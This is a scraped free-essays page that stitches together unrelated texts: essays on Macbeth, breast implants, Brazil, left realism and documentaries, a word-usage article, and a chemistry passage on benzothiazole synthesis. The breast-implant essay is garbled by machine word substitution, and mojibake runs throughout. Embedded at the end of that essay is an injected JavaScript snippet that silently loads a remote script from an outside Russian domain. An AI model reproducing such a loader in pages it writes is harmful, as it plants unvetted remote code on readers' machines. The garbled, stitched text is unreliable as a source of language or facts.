Duncan’s room Free Essays

There’s no such thing. It is the bloody business which informs Thus to mine eyes. † (2. We will write a custom essay sample on Duncan’s room or any similar topic only for you Order Now 1. 23). Macbeth’s brain is so overloaded or agitated, about the murder that It projects a symbol of murder, the bloody dagger. After killing Duncan, Shakespeare uses the blood symbol to express Macbeth’s fear and guilt over his crime. Macbeth says, â€Å"What hands are here! Hal they pluck out mine eyes† (2. 1. 24). Macbeth says that the sight of the blood or even the idea is so awful it figuratively hurts his eyes, indicating the extent of his stonishment. Macbeth not only is horrified by the murder, but also feels extreme guilt After the killing of King Duncan. â€Å"this Is a sorry sight† (2. 2. 18), proclaimed Macbeth looking at his bloody hands movements after the murder. Maybe Shakespeare is trying to show us that Macbeth has a little sympathy for his wrong doing; however, Lady Macbeth seems to think that’s a foolish thing to say. Later that evening lady Macbeth notices a spot on her hand. â€Å"Out, damned spot! , I say! † (5. 5. 29-31). This bloody spot will not come out. Is this a sign of guilt or perhaps Shakespeare Is hinting she wont get away with what she did. â€Å"It will have blood, they say, Blood will have blood† (3. 3. 5-39). This meaning whoever is involved In these crimes will someday become victims of them or maybe â€Å"a little water clears us of these deeds† (22. 64) Lady Macbeth thinks this as she washes her hands with water. As seen in the quote, blood symbolism serves as a continuous indicator of characters Sleep is another one of the many symbols used. Sleep is something that is meant to be peaceful and innocent, â€Å"sleep signifies the nature and essence for a person Bernard). In this play it symbolizes death and culpability. It became something people feared rather enjoyed. Some didn’t feel safe because they felt like they might be next person to die. â€Å"Me thought I heard a voice crying sleep no more! † (2. 2 34-50). Macbeth has killed someone in their sleep but now he cannot sleep. He killed a blameless man and now it’s coming back. â€Å"Sleep has now become a torture of the mind rather than to lie in restless ecstasy’ (Barnard). It was said before sleep is a representation of innocence; so now that virtuousness has been murdered. He will o longer be able to sleep because of this fault he holds. â€Å"Shakespeare allows Lady Macbeth and Macbeth to commit these crimes but punishes them by not allowing them to rest† (Bernard). They will never be able to turn back. â€Å"done cannot be undone† (5. 1. 30-45). Lady Macbeth states later that once something had been done, you can’t go back and reverse it. So even if Macbeth is starting to fell contrite for what he had done it is too late. Shakespeare continues to use the symbols of sleep and sleep withdrawal in his play to express pain and repentance. Both Lady Macbeth and Macbeth experience unfruitful nights. The sleep walking scene is a perfectly logical outcome of these feelings. Lady Macbeth was seen sleep walking while talking about the murder. â€Å"Shakespeare is expressing the importance of sleep by using sleep deprivation as a sign of remorse† (Bernard). Her talking in her sleep showed that she felt guilty. Shakespeare also uses the Banquds murderers to warn him of what will happen to him if he continued to go through with the prophecy. â€Å"It will drain him dry as hay; sleep neither night not day hang upon his pent house lid he shall live a man f forbid† (3. 1-20). This is another example of Shakespeare warning Macbeth that his wrong doings will come with no reward. Through the play Shakespeare brilliantly plays around with sleep by using it in ways that are obvious and hidden. He makes the audience think their own definitions of sleep. It makes someone believe that although sleep is precious, it is one thing that only comes e asily to people with clear conscience. In Macbeth case, he cannot sleep until he himself is killed. He loses something precious that is often taken for granted because of what he has done. Shakespeare chose to repeatedly mention sleep because whether it is at the end of the day or end the end of ones life, everyone eventually goes to sleep. Yet Shakespeare gives the reader a better idea of how valuable it truly is, Shakespeare also knows how to get you mind thinking by using symbols in the form of other living objects like animals. Sleep and blood are only two of the many symbols used in the play. Shakespeare has interwoven the symbol use of animals throughout his play. Not only does he allude with the accuracy of a naturalist to the peculiarities and habits of ertain targets but also to animals. Shakespeare use of animals is often repellent and even repugnant to the audience† (Olsen). They always serve a purpose. For example the owl was used to represents fatality. â€Å"Tis unnatural a falcon tow ring in her pride of place was by a musing owl hawked at and killed† (2. 2. 10-21). The owl represents Macbeth and the falcon represents King Duncan who Macbeth killed. Expressing how unnatural it is for an owl to kill a hawk because owls usually for mice. Duncan. The owl announcing Duncan’s death is revealing how it is connected to the upernatural world. Just like the owl was used as an import and symbol, so was the bird. â€Å"The raven himself is hoarse: that croaks the fatal entrance of Duncan under my battlement†(l . 5. 38-40). The raven is a bird of ill. Lady Macbeth was referring that even the bird was Horace from saying king Duncan must die, lady Macbeth was trying to say the bird was a sign that they should go on with the plan and kill the king. This symbol Just like all the others, is giving the reader a hint for something to happen in the future of the play, Shakespeare also has ways to make an audience feel some ype of way when something has occurred. They have tied me to a stake; I cannot fly but bear like I must fght the curse† How to cite Duncan’s room, Papers

Breast Implants Your Decision Essay Research Paper free essay sample

Breast Implants: Your Decision Essay, Research Paper Breast Implants: Your Decision In our society we have many and diverse values. One of the values is a adult female s physical visual aspect. A adult female s chest size frequently plays an built-in portion in her visual aspect to others and to herself. A adult female s chests are non merely merely a portion of her organic structure but frequently for both work forces and adult females, they have come to stand for muliebrity. Throughout a adult female s lifetime her chests may lend to her sexual satisfaction, visual aspect, and self-pride, yet many adult females are non satisfied with their chest size. Since the 1940 s adult females have been seeking assorted methods to increase their chest size for many grounds ( Frontline ) . The society we live in puts great accent on visual aspect, so many adult females are self witting about their chests. Some adult females have elected to hold chest implants after undergoing a mastectomy, yet others choose to hold implants done purely for decorative intents. Since the Food and Drug Administration ( FDA ) has become involved in analyzing implants, regulations and ordinances have come into consequence. The FDA, because of the side effects now limits people s options. For many adult females the benefits of holding chest implants far out weigh the hazards, and they should be able to do their ain informed determination refering medical processs related to her chests. Timmie Jean Lindsay in 1962 became the first adult female to have silicone chest implants ( Frontline ) . Silicone, gel implants, are made up of a plastic pouch that is pre-filled with a clear, gluey, thick jellylike substance that is really near to the existent consistence of chests. The job with silicone implants is that they can leak, shed blood, or rupture. When silicone leaks into the organic structure it can do hardening of the environing tissue. The biggest concern is about the relationship between the silicone in gel implants and autoimmune upsets such as dermatosclerosis, arthritic arthritis, lupus erythematosus, and chronic weariness syndrome. It is hard to set up a clear nexus between these diseases and implants because it takes old ages for these upsets to develop. Old ages after having implants, many adult females have lost touch with their sawboness and hence many of the jobs go unreported ( Bruning 50-51 ) . Saline implants are another option. They consist of a plastic pouch that is deflated when inserted. After being put in topographic point, it is filled with saline, a unfertile salt H2O. Saline implants rupture more frequently than silicone therefore necessitating to be replaced more frequently. The up side is that the existent saline itself is safe and won Ts do your organic structure any injury if it leaks. Another good thing about this type is that since they are implanted deflated a smaller scratch is required so there is less marking. The major ailment about saline implants is that they do non experience or look every bit natural as the silicone type and with people being so self-aware, this can be a large issue. The bulk of adult females with implants have merely the basic silicone or saline. There are a few other assortments out at that place. Double lumen implants are a combination of the two types. They are made up of two pouch, one interior of the other, and one of saline while the other is silicone. Another type is coated implants. In this instance the implants are covered with polyurethane froth. However, the froth was found to incorporate a substance that can do malignant neoplastic disease in animate beings and is hence no longer available. Now instead than being coated, many implants have silicone-textured surfaces designed to promote the organic structure tissue to turn into it ( Bruning 32 ) . Many instances have been brought to test over the old ages for the side effects of implants. Millions of dollars have been awarded to patients. All of these instances have caused more research into implants. Not plenty extended research has been yet done that compare adult females who have implants with adult females who do non to corroborate a clear nexus between implants and autoimmune disease or other serious diseases. gt ; After Dow Corning Wright conducted 329 surveies on silicone implants, and 30,000 pages of paperss were submitted there were still many concerns and unreciprocated inquiries. Due to concerns about the deficiency of information, in April 1992, the FDA decided to badly curtail the usage of silicone gel implants. Because of the determination by the FDA, silicone implants are presently available for research purposes merely. Womans seeking implants for non-health issues are non eligible for the research. Those that are eligible merely include adult females who are victims of unwellness, malignant neoplastic disease, birth defects, or are in demand for another medical ground. One outraged adult female with malignant neoplastic disease reacted to the bounds placed on who can have silicone implants by stating, Oh, so we re expendable! We ll likely dice of malignant neoplastic disease anyhow, so let s experiment on us. It doesn t affair as much if an implant is unsafe ( Bruning 14 ) . Besides unhappy with the FDA s determination, one of the celebrated plastic sawboness at the Mayo Clinic wrote in the Wall Street Journal: It is inappropriate that 1000s of adult females should be denied the chance for optimum consequences because of a really little minority of adult females with jobs it is dry that adult females continue to smoke, imbibe, and undergo abortions, all of which have really existent and proved effects to their wellness, while being denied implants. In May 2000 the FDA approved the usage of saline implants. As quoted by the Washington Post, FDA functionaries said they could non disregard the fact that despite the complications experienced by some adult females, the bulk of those adult females after three old ages reported being satisfied with their implants. Included in the blessing is the demand that prospective patients be informed of the merchandise weaknesss. This manner patients will be able to do determinations once they are wholly cognizant of the possible effects. Despite the research done on the side effects of implants and all of the ordinances placed on them, adult females in big Numberss continue to elect for implants. With over 75 % of adult females believing the ideal chest size is larger or smaller than their ain, implants have helped project assurance in many adult females. Harvey, a plastic sawbones, has noticed that his patients, say their Fuller chests make them experience better about their organic structures, more self-assured, and that they act more self-assured excessively. And when you project assurance, people react more positively to you ( Bruning 27 ) . Womans are allowed to take what to make with their organic structures when it comes to acquiring an abortion or non, which can be harmful. At the same clip when it comes to make up ones minding what to make with their organic structures affecting chest implants, the determination is non wholly up to them. Silicone implants could do side effects, but having them, even for decorative intents, should be considered every bit long as the patient is cognizant of what could travel incorrect. Since they are more natural feeling and looking than saline implants, and our society Judgess looks so critically, adult females need to be given the option to take what type of implants to acquire. It is questionable to merely let the implants to be researched on receivers for medical intents. How implants react to a healthy organic structure compared to person for case who has malignant neoplastic disease can change. This so called research will neer do decisions on how implants work in healthy people who are acquiring implants merely to look and experience better if they wont even allow them acquire the implants. This is America. What about our freedom of pick? Plants Cited Bruning, Nancy. Breast Implants: Everything You Need to Know. Alameda: Hunter House, 1992. Frontline. Breast Implant Chronology. 1998. PBS Online. . Kaufman, Marc. Saline Breast Implants Approved. The Washington Post 11 May 2000: C7. Levy, Jerome F, And Diana Odell Potter. Your Breasts. New York: Noonday,1990. Peacock, Mary. Sizing Up Breasts. Womenswire Online. . ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Appropriate vs. Apropos vs. Apt

Appropriate vs. Apropos vs. Apt Appropriate vs. Apropos vs. Apt Appropriate vs. Apropos vs. Apt By Maeve Maddox A reader has asked for a discussion of â€Å"appropriate vs. apropos vs. apt.† All three words may be used as adjectives meaning suitable or pertinent: Your reference to â€Å"The Emperor’s New Clothes† is apropos of the way so many people conform to social expectations rather than think for themselves. I admire your apt choice of words in this article. A rating of â€Å"G† indicates that a movie is appropriate for children. Of the three adjectives, appropriate [uh-PRO-pree-it] is heard more often. Appropriate derives from the past participle of a Latin verb, a combination of ad (to) and proprius (own). Something appropriate â€Å"belongs† to someone or something. Here are some examples of current usage: How Having An Appropriate Level Of Confidence Can Better Your Life By comparing many entertainment jobs, you should be able to get a good idea of the appropriate salary. The young offender could not be questioned without an appropriate adult present Was Lohan’s courtroom attire appropriate? Note: English also has the verb appropriate [uh-PRO-pree-ATE], â€Å"to take possession of.† For example, â€Å"A section of land at St. Clements in Oxfordhas been appropriated to planning purposes to facilitate a regeneration project intended for the area.† Apt is from the Latin word aptus, â€Å"fitted, suited, appropriate.† The adjective derives from a verb meaning â€Å"to fasten, to attach.† The most common use of apt is to describe the fitness or expressiveness of language. Another meaning of apt is â€Å"ready to learn,† as in â€Å"She’s an apt student.† Sometimes apt is a synonym for likely: â€Å"Children are apt to live up to what you believe of them.† Apt can also be used in the sense of â€Å"having an unfortunate tendency, or â€Å"exposed to a risk†: Spanked kids more apt to commit crimes Study: Immigrants who live, work together less apt to learn English The adjectival use of apropos is the least common of the three. I’ve seen forum comments asserting that apropos is â€Å"never a synonym for appropriate.† A French borrowing, apropos functions more often as a preposition or as an adverb. Apropos comes from French propos, â€Å"with regard to this purpose.† As an adjective, it is a synonym for appropriate: My point is rather that it is not  apropos  in every case. The mayor called the cornflake comment â€Å"not apropos† and warned Lukaszuk to be careful of what he says. Your allusion to Josephine Tey’s bit of dialogue was very clever and funnybut not apropos As a preposition, apropos means â€Å"with reference to; concerning†: The principal remarked apropos the new regulations, â€Å"They will cost a lot to implement and do nothing to address the problem.† As an adverb, apropos is most commonly heard in the expression â€Å"apropos of nothing.† The sense is that someone’s comments or actions are completely unrelated to any previous discussion or situation. For example, â€Å"Apropos of nothing, Tom started talking about his root canal.† The usual preposition to follow apropos is of. Want to improve your English in five minutes a day? Get a subscription and start receiving our writing tips and exercises daily! Keep learning! Browse the Vocabulary category, check our popular posts, or choose a related post below:15 Terms for Those Who Tell the FutureOn Behalf Of vs. In Behalf OfCharles's Pen and Jesus' Name

Free Essays on Brazil

Brazil In 1822, Brazil became a nation independent from Portugal. By far the largest and most populous country in South America, Brazil has overcome more than half a century of military government to pursue industrial and agricultural growth and development. With an abundance of natural resources and a large labor pool, Brazil became Latin America's leading economic power by the 1970’s. Brazil is located in Eastern South America, bordering the Atlantic Ocean. It is slightly smaller than the U.S., with bordering countries Argentina, Bolivia, Columbia, French Guyana, Guyana, Paraguay, Peru, Suriname, Uruguay, and Venezuela. It has many natural resources, including bauxite, gold, iron ore, manganese, nickel, phosphates, platinum, tin, uranium, petroleum, hydropower, and timber. The climate is tropical in the north, but temperate in the south. The terrain consists of mostly flat to rolling lowlands, with some plains, hills, mountains, and a narrow coastal belt. In recent years, environmentalists have become increasingly concerned over the future of the Amazon region, where human life has threatened the world's largest intact rain forest. Brasilia is the capital and main source of modern industry. The total population in Brazil is 167,988,000. The population grows at a rate of 0.91%, with a life expectancy of 64 years for the total population; the female life expectancy is 67.73 years and the male is 58.96 years. The Brazilian people are very diverse. Three main ethnic groups exist in the country: Portuguese, Native American, and African. The Portuguese, Spanish and English languages are spoken throughout Brazil. However, Portuguese cultural influences remain strong, with Portuguese as the primary language and Roman Catholicism as the principal religion. The definition of literacy being those who are aged fifteen and older who can read and write, the literacy rate in Brazil is 83% for the entire population. Before 1930,... Free Essays on Brazil Free Essays on Brazil Brazil is the fifth largest country in the world and is also the largest country in South America. It occupies almost half of the South American continent and extends from north of the equator to south of the Tropic of Capricorn. Its capital is Brasilia. Brazil’s large size and diverse population provide great variety in the natural environment, population, culture, and economy. The name of Brazil comes from a very heavy hard dyewood pau brasil or brazilwood. The first inhabitants of Brazil were Native Americans. The Portuguese settled in Brazil in 1500 when many Native American tribes sparsely populated the country. In the mid-16th century the Portuguese began to import African slaves to work on agricultural production. The economic development of Brazil has been strongly influenced by a series of economic cycles in which different resources were exploited in different parts of the country. The first commodity to be exploited was the brazilwood then other resources were exploited over the years. Brazil was a Portuguese colony from 1500 to 1822, when it achieved independence. The abolition of slavery took place in 1888. Since the 1940s Brazilian society has undergone dramatic changes to boost industrialization and to diversify the economy. Until the 1960s the majority of the people lived in rural areas rather than in cities or towns, but the si tuation is now reversed. Two geographic features dominate the landscape of Brazil: the vast Amazon Basin, which spans the width of northern Brazil, and an extensive highland plateau, known as the Brazilian Highlands, which covers most of the South and Southeast. The Amazon Basin consists of a huge drainage area that contains the world’s largest river, the Amazon River, and the world’s largest tropical rain forest. In the South and Southeast, the Brazilian Highlands- an eroded plateau dotted with irregular mountains and crossed by river valleys- forms the major fe... Free Essays on Brazil Brazil, one of the world’s largest and most populated countries. It is the largest country in South America. Its largest city is So Paulo, and its capital is Brasà ­lia. Brazil’s population is very diverse. There is a combination between Native Americans, Portuguese settlers, and African slaves, which made a society of racial and ethnicity. According to The Colliers Encyclopedia Brazil is the only Latin American country settled by the Portuguese. Before the Portuguese arrived in 1500, allot of Native American tribes had a small amount of people in Brazil. In the 16th century the Portuguese began to bring African slaves to work in agricultural production. The ethnic mix between these three groups, along with other European peoples who immigrated to Brazil after 1850, has contributed to some distinctly Brazilian cultural forms, especially in music and architecture. Distinct cultures also continue to survive among Afro-Brazilians, non-Portuguese immigrants from Europe a nd Asia, and isolated pockets of Native Americans. However, Portuguese cultural influences remain strong, with Portuguese as the primary language and Roman Catholicism as the principal religion. The economic development of Brazil has been strongly influenced by a series of economic cycles in which different resources were exploited in different parts of the country. The first commodity to be exploited was the dyewood pau brasil, from which the country takes its name. In the mid-16th century colonists introduced sugar cultivation, taking advantage of the good soil and tropical climate along the Northeast coast. Gold was discovered in the 1690s in what became the state of Minas Gerais. This provoked a gold rush that brought the first significant settlement of the interior and shifted the country’s economic focus and population center from the Northeast to the Southeast. Brazil has a dense and complex system of rivers. The most impressive river system is that of t... Free Essays on Brazil Brazil In 1822, Brazil became a nation independent from Portugal. By far the largest and most populous country in South America, Brazil has overcome more than half a century of military government to pursue industrial and agricultural growth and development. With an abundance of natural resources and a large labor pool, Brazil became Latin America's leading economic power by the 1970’s. Brazil is located in Eastern South America, bordering the Atlantic Ocean. It is slightly smaller than the U.S., with bordering countries Argentina, Bolivia, Columbia, French Guyana, Guyana, Paraguay, Peru, Suriname, Uruguay, and Venezuela. It has many natural resources, including bauxite, gold, iron ore, manganese, nickel, phosphates, platinum, tin, uranium, petroleum, hydropower, and timber. The climate is tropical in the north, but temperate in the south. The terrain consists of mostly flat to rolling lowlands, with some plains, hills, mountains, and a narrow coastal belt. In recent years, environmentalists have become increasingly concerned over the future of the Amazon region, where human life has threatened the world's largest intact rain forest. Brasilia is the capital and main source of modern industry. The total population in Brazil is 167,988,000. The population grows at a rate of 0.91%, with a life expectancy of 64 years for the total population; the female life expectancy is 67.73 years and the male is 58.96 years. The Brazilian people are very diverse. Three main ethnic groups exist in the country: Portuguese, Native American, and African. The Portuguese, Spanish and English languages are spoken throughout Brazil. However, Portuguese cultural influences remain strong, with Portuguese as the primary language and Roman Catholicism as the principal religion. The definition of literacy being those who are aged fifteen and older who can read and write, the literacy rate in Brazil is 83% for the entire population. Before 1930,... Free Essays on Brazil In â€Å"Liberalism†, Emilia Viotti da Costa paints a picture of the political, social, and economic atmosphere in Brazil during the 1800’s. One topic of her discussion was the many regional rebellions in the country between 1822 and 1845. Another topic discussed was Brazilian politics and how it may have contributed to the instability of the nation. A third topic of interest included the factors that allowed Pedro II to rule largely until 1889 without disruption. These are the three main topics of interest discussed in Emilia Viotti da Costa’s chapter â€Å"Liberalism†. There were many reasons for the multiple regional rebellions that took place in Brazil from 1822 until 1845. The first of these reasons was the forming of the National Convention, which was composed of many groups of social elites ranging from priests to plantation owners. These social elites had completely separate motivations and initiatives, which were mostly personal and wealth driven, than those of the lower class. The Constitutional Charter, passed in 1824, was a second reason for rebellion in the country. This â€Å"Constitution† was created by the Brazilian elite and supported their self-interests and property. Class and racial differences were a major issue of the time. The constitution held no value for the majority of the population, who were mostly slaves and tenants on land they could not own. A third reason for rebellion by Liberals was religion, as Catholicism was the official religion of Brazil. As mentioned earlier, there were members of the National C onvention who were priests. These individuals clearly wanted to preserve the interests of the church through the power of education. These are some of the underlying themes beneath the many regional rebellions of the period. Brazilian politics also helped to cause the instability of the nation. Two conflicting parties dominated the political scene at the time. One group was the Libe...

Explain the reasons why left realism emerged Essay - 1

Explain the reasons why left realism emerged - Essay Example eft realism emerged as a reaction to ‘law and order’ politics and to the perceived vacuum in radical left thinking on crime and crime control (Carrabine 79). Ideally, Left realism emanates from a situation that demonstrates the need to focus the social problems in the society. However, many scholars have been questioning the capacity of this theory to address societal problems (HistoryLearningSite 1). In its emergence, the theory of Left realism sought to address the reality of crime for the working class victim and the need to elaborate a socialist alternative to conservative emphases on law and order (Carrabine 79-80). In the mid-1980s, there was a common perception that the efficiency and effectiveness of the police, and criminal justice agencies were performance indicators of maximum crime arrests (Lea 141). However, the Left realism sought to correct this perception by noting that the flow of information about crime from victims and communities to the police, which was a matter of trust, was the key factor that would address crime in the society (Lea 142). This theory achieved this by noting that crime is intra-class and is rampant on poor communities (Lea 142). Indeed, the Left realism aimed at the practical experience of victimization in the poor and working class communities (Lea 142). Notably, the Left realism sought to criticize the views of right-realism that advocated for longer sentences and additional prisons (HistoryLearningSite 1) as the solution to rising crime rates (Lea 142). Indeed, the right-realism was actually not addressing crime in an effective manner and hence the Left realism sought to encourage socialists to address crime in a serious manner (Currie 114-117). During the emergence of the Left realism criminality among the working class was worsening as radical criminologists maintained the social constructionist view of crime and hence the need for the Left realism to curb the problem (Hale et al 86-87). As such, this theory sought

Video Production - The Importance of Documentaries Essay

Video Production - The Importance of Documentaries - Essay Example To take advantage of this broad scope for creativity offered by documentary films, the filmmakers should adopt a script-free approach. Documentaries such as Fahrenheit 911 and Bowling for Columbine, which have garnered much critical acclaim are good examples of this scrip-free approach. The filmmaker needs to possess an eye for spotting key moments in the film before, during and after the production of film content. In the words of a famous cameraperson, â€Å"working creatively and seizing the moment and turning the camera on when things are happening before the rehearsal are important†. To be successful in this approach a passionate approach to work, an elevated cause behind the production and a sense of intuition are all essential qualities in the filmmaker. In the case of Fahrenheit 911, its producer/director Michael Moore excels in all the above aspects (www.documentaryfilms.net). A central unifying concept is essential to organize disparate footages and to integrate the various points of view expressed in it. While interviews and images of talking heads are important elements, there are many nuances to them. For example, â€Å"Interviews are not enough. Interviews may help define the point of view, but they are usually a terribly cumbersome way to get the documentary idea across, because they dont show the topic; they show people talking about the topic. It takes pictures† (Barnouw, 121). The first good example of the utility value of still images in documentaries is The Civil War film made by Ken Burns. By clever maneuvering of camera across each photo, the director lets the viewers know that the rest of the film will revolve around still pictures. The time span of these visuals and the background music are also equally important to make the intended impact on the audience. In The Civil War sound track the rendition of the solitary violin â€Å"spea ks† for the

Synthesis of IBT Scaffolds Experiment

Synthesis of IBT Scaffolds Experiment Chapter III: Section A Present work PRESENT WORK Over the years, multi component reactions (MCRs) or three component coupling reactions have gained much attention in synthetic as well as medicinal chemistry to generate structural diversity for drug discovery programs.31 MCR is a process in which at least three simple building blocks are combined together in one pot to provide diversity oriented product with minimum of synthetic time and effort. The imidazo [2,1-b] benzothiazole (IBT) motif is an important pharmacophore and is known to exhibit significant biological activities such as antimicrobial, antitumor, antituberculosis, and anti-inflammatory etc.,13-30 Consequently, different methods23-26 have been developed for the synthesis of IBT scaffolds. Of these, the MCR of 2-aminobenzothiazole, aldehyde, and alkyne is one of the most attractive methods for the synthesis of 2-aryl imidazo[1,2-a]benzothiazoles. To the best of our cognition, there is only one report14c for synthesis of the title compounds till date which is a multi step procedure. In prolongation of our involvement in exploring the synthesis32 of biologically active scaffolds, we herein describe a three-component, one-pot synthesis of IBTs using a catalytic amount of La(OTf)3 and CuI in acetonitrile. Accordingly, we first treated 2-aminobenzothiazole (1a) and benzaldehyde (31a) with ethylpropiolate (32) in acetonitrile in the presence of 10 mol % La(OTf)3 and CuI. The reaction proceeded well at r. t. and made the desired IBT 33a in 86% yield (Scheme 10). Scheme 10 Formation of 33a confirmed by its spectral analysis, 1H NMR of IBT 33a shows a characteristic methylene protons at ÃŽ ´ 4.16 (s, 2H) as a singlet, doublets at ÃŽ ´ 7.78 (d, J = 7.9 Hz, 1H) and 7.70 (d, J = 8.3 Hz, 1H) belongs to benzothiazole ring (ortho-hydrogens w.r.t sulphur and nitrogen) in the fused system. Another doublet at ÃŽ ´ 7.68 (d, J = 7.9 Hz, 2H) belongs to ortho-hydrogens of phenyl ring at C-2 position and peaks for remaining aromatic protons observed at ÃŽ ´ 7.42 (t, J = 7.5 Hz, 1H), 7.33 (t, J = 7.5 Hz, 2H) and 7.01 (t, J = 7.9 Hz, 2H). Ethyl ester protons resonated at ÃŽ ´ 4.26 (q, J = 6.8 Hz, 2H) and 1.27 (t, J = 8.1 Hz, 3H) belongs to OCH2CH3 and OCH2CH3 respectively. In 13C NMR, presence of a peak at ÃŽ ´ 171.1 resembling ester (-C=O) functionality, a peak at ÃŽ ´ 61.1 belongs to CH3–CH2-O-COAr, and remaining aromatic carbons resonated at their expected chemical shift values. The new absorption maximum at 1735 cm-1 in IR spectrum also supports the presence of ester (-C=O). Finally, ESI-MS also supports the IBT 33a showing a peak with m/z 337 for its molecular ion. Plausible mechanism Scheme 11 Plausible mechanism for CuI-La(OTf)3 catalyzed multi-component reaction In accordance with the mechanism described by Mishra et al.33 The reaction may proceed in one of the two paths mentioned above. In path-I, benzaldehyde was first reacted with 2-aminobenzothiazole in the presence of La(OTf)3, and the resulting imine further reacted with ethyl propiolate to form desired imidzobenzothiazole 33a via initial formation of propargylamine I. Tautomerization of propargylamine I followed by 5-exo-dig cyclization formed intermediate III, which finally isomerized to product 33a. Optimization study Table 1 Screening of the catalyst for three component reaction Entry Catalyst Additive Solvent Yield [%] 1 CuCl CH3CN 39 2 CuBr CH3CN 42 3 CuI CH3CN 65 4 FeCl3 CH3CN 5 InCl3 CH3CN 48 6 InBr3 CH3CN 51 7 CuI Cu(OAc)2 CH3CN 66 8 CuI Cu(OTf)2 CH3CN 69 9 CuI Sc(OTf)3 CH3CN 59 10 CuI La(OTf)3 CH3CN 86 11 CuI Yb(OTf)3 CH3CN 63 12 CuI TMEDA CH3CN 54 13 La(OTf)3 CH3CN 55 14 CH3CN Initially, we screened the reaction between 2-aminobenzothiazole 1a benzaldehyde 31a and ethylpropiolate 32 as starting materials using different catalysts to optimize the reaction conditions (Table 1). The desired product yielded in 65% when 10 mol % of CuI used in CH3CN. Further optimization was performed to improve the yield of the product. The best result was obtained when La(OTf)3 was used with high yield, low reaction time and optimal temperature. However, in the absence of the catalyst the reaction proceeds with low yield even after longer reaction time (24 h). Our attempts to optimize the conditions for the synthesis of the 2-aryl imidazo[2,1-b]benzothiazoles 33a-o are summarized in Table 1. To check the generality and scope of the present protocol (Table 1), variety of benzaldehydes containing electron withdrawing or electron donating substituents were reacted under these conditions with 2-aminobenzothiazole, which affords corresponding IBT (Scheme 12). Scheme 12 To explore the limitations of this reaction, we extended it to various para-substituted benzaldehydes with 6-methyl-2-aminobenzothiazole. As can be seen in Table 2, the yield of products seems to be affected by the nature of substituents and their positions on the benzothiazole as well as benzaldehydes. The yields decreased when electron-withdrawing substituents were present on reactants (scheme 13). Scheme 13 The compounds 33f-j were characterized by 1H NMR, 13C NMR, IR and ESI-MS, the results are shown in the experimental section. For an instance, spectral analysis of 33h explained here. 1H NMR of IBT 33h shows a characteristic methylene protons at ÃŽ ´ 4.27 (s, 2H), and methyl protons at 2.35 (s, 3H), methoxy protons at 3.86 (s, 3H), and hydrogen adjacent to sulphur attached carbon resonated at 7.71 (s, 1H) as a singlets, doublets at ÃŽ ´ 7.64 (d, J = 7.9 Hz, 1H), and 7.35 (d, J = 7.1 Hz, 1H) belongs to benzothiazole ring (ortho- and meta- hydrogens w.r.t nitrogen) in the fused system. Another two doublets appeared at ÃŽ ´ 7.55 (d, J = 7.8 Hz, 2H), and 7.01 (d, J = 7.6 Hz, 2H) belongs to methoxy substituted phenyl ring, whereas ethyl ester protons resonated at ÃŽ ´ 4.15 (q, J = 8.1 Hz, 2H), and 1.27 (t, J = 8.2 Hz, 3H) belongs to OCH2CH3 and OCH2CH3 respectively. In 13C NMR, the presence of a peak at ÃŽ ´ 169.1 resembling ester (-C=O) functionality, a peak resonated at 160.8ppm belongs to –Ome attached carbon on phenyl ring, where as a peak at ÃŽ ´ 61.2 belongs to CH3–CH2-O-COAr, and remaining aromatic carbons resonated at their expected chemical shift values. The new absorption maximum of 1738 and 1210 cm-1 in IR spectrum also supports the presence of ester (-C=O). Finally, ESI-MS also supports the IBT 33h showing a peak with m/z 381 for its molecular ion. Furthermore, a variety of aromatic aldehydes such as p-methyl-, p-methoxy-, p-nitro and p-cyano benzaldehyde participated well in this MCR with 6-nitro-2-aminobenzothiazole and gave excellent yields. The synthesized compounds 33k-o were characterized by 1H NMR, 13C NMR, IR and ESI-MS, the results are shown in the experimental section. For example, the spectral analysis of IBT 33n was explained here. 1H NMR of IBT 33n shows a characteristic methylene protons at ÃŽ ´ 4.19 (s, 2H), and hydrogen adjacent to sulphur attached carbon and –NO2 group resonated at 8.55 (s, 1H) as a singlets, doublet at ÃŽ ´ 8.01 (d, J = 7.7 Hz, 2H) belongs to meta-hydrogens of nitro-substituted phenyl ring and a multiplet appeared between 8.40-8.50 (m, 3H) belongs to a hydrogen of benzothiazole ring merged with ortho-hydrogens of nitro-substituted phenyl ring, whereas ethyl ester protons resonated at ÃŽ ´ 4.11 (q, J = 8.0 Hz, 2H), and 1.21 (t, J = 8.2 Hz, 3H) belongs to OCH2CH3 and OCH2CH3 respectively. In 13C NMR, the presence of a peak at ÃŽ ´ 169.1 resembling ester (-C=O) functionality, peaks resonated at 147.8, 144.7 ppm belongs to –NO2 attached carbons, where as a peak at ÃŽ ´ 61.5 belon gs to CH3–CH2-O-COAr, and remaining aromatic carbons resonated at their expected chemical shift values. The new absorption maximum of 1735 cm-1 in IR spectrum also supports the presence of ester (-C=O), bands at 1536 and 1365 cm-1 resemble the –NO2 group. Finally, ESI-MS also supports the IBT 33a showing a peak with m/z 427 for its molecular ion. The imidazobenzothiazole derivatives was synthesized by La(OTf)3-CuI catalytic combination in good to excellent yields as shown in Table 2. Table 2 The new ethyl 2-(2-arylimidazo[2,1-b][1,3]-benzothiazol-1-yl)acetates 33a-o Entry Benzothiazole Aldehyde Product Yield (%) a 86 b 89 c 91 d 81 e 79 f 92 g 91 h 95 i 85 j 88 k 82 l 84 m 85 n 78 o 79 Conclusion In summary, a novel method for the synthesis of ethyl 2-(2-arylimidazo[2,1-b][1,3]-benzothiazol-1-yl) acetates was demonstrated from bezaldehyde, ethylpropiolate, and 2-aminobenzothiazole in the presence of La(OTf)3-CuI catalyst in good to excellent yields. This reaction took place under mild conditions and it tolerates a wider range of functionalities. Therefore this methodology offers an alternative to multi step reactions.